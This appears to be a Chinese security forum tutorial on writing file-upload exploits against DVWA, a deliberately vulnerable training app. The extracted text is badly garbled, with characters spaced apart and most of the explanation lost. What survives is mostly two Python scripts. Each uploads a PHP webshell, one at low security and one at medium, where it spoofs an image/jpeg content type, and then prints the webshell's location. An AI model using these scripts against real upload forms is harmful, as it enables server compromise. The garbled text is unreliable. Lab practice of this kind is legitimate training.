[26711] 2021-04-06_文件上传EXP编写

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-19
2021-04-06_文件上传EXP编写 1 2 E X P   m o o n s e c   m o o n s e c   2 0 2 1 - 0 4 - 0 6   # E X P   , 4 p y t h o n 3 E X P E X P D V W A   D V W A E X P E X P p y t h o n 3 e x p h t t p s : / / g i t h u b . c o m / d i g i n i n j a / D V W A l o w d v w a l o w l o w b u r p s u i t e u p l o a d e d F I L E S   u p l o a d
L o w . p h p u p l o a d   m o v e _ u p l o a d e d _ f i l e e x p # c o d i n g : u t f - 8 i m p o r t   r e q u e s t s i m p o r t   r e c o o k i e s   =   { " P H P S E S S I D " : " 7 7 o v a e t 1 q a 6 8 4 4 d d j p b u o 3 h d p m " , " s e c u r i t y " : " l o w " } u r l = " h t t p : / / w w w . d v w a . c o m / " d e f   d v w a _ g e t s h e l l ( ) :         f i l e s =   { " u p l o a d e d " : ( ' m o o n s e c . p h p ' , o p e n ( ' s h e l l . t x t ' , ' r b ' ) ) }         d a t a = { " U p l o a d " : ' U p l o a d ' }         r e q = r e q u e s t s . p o s t ( u r l = u r l + ' / v u l n e r a b i l i t i e s / u p l o a d / ' , d a t a = d a t a , c o o k i e s = c o o k i e s , f i l e s = f i l e s )         h t m l   = r e q . t e x t         r e t u r n   h t m l i f   ' s u c c e s f u l l y '   i n   d v w a _ g e t s h e l l ( ) :         u r l n a m e   =   r e . s e a r c h ( r ' . . / . . / ( . * ) S ? s u c c e s f u l l y ' ,   d v w a _ g e t s h e l l ( ) ) . g r o u p ( 1 )         p r i n t ( " [ * ]     % s   [ * ] "   %   ( u r l + u r l n a m e ) )
3 m e d i u m m e d i u m C o n t e n t - T y p e j p e g p n g 1 0 0 k r e q u e s t s i m a g e / j p e g   c o o k i e m e d i u m # c o d i n g : u t f - 8 i m p o r t   r e q u e s t s i m p o r t   r e c o o k i e s   =   { " P H P S E S S I D " : " q o l g t i v f c 6 k p 1 j h r 4 t r d f p 3 v v 2 " , " s e c u r i t y " : " m e d i u m " } u r l = " h t t p : / / w w w . d v w a . c o m / " d e f   d v w a _ g e t s h e l l ( ) :         f i l e s =   { " u p l o a d e d " : ( ' m o o n s e c 1 . p h p ' , o p e n ( ' s h e l l . t x t ' , ' r b ' ) , ' i m a g e / j p e g ' ) }         d a t a = { " U p l o a d " : ' U p l o a d ' }         r e q = r e q u e s t s . p o s t ( u r l = u r l + ' / v u l n e r a b i l i t i e s / u p l o a d / ' , d a t a = d a t a , c o o k i e s = c o o k i e s , f i l e s = f i l e s )         h t m l   = r e q . t e x t         r e t u r n   h t m l i f   ' s u c c e s f u l l y '   i n   d v w a _ g e t s h e l l ( ) :         u r l n a m e   =   r e . s e a r c h ( r ' . . / . . / ( . * ) S ? s u c c e s f u l l y ' ,   d v w a _ g e t s h e l l ( ) ) . g r o u p ( 1 )         p r i n t ( " [ * ]     % s   [ * ] "   %   ( u r l + u r l n a m e ) )
4  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则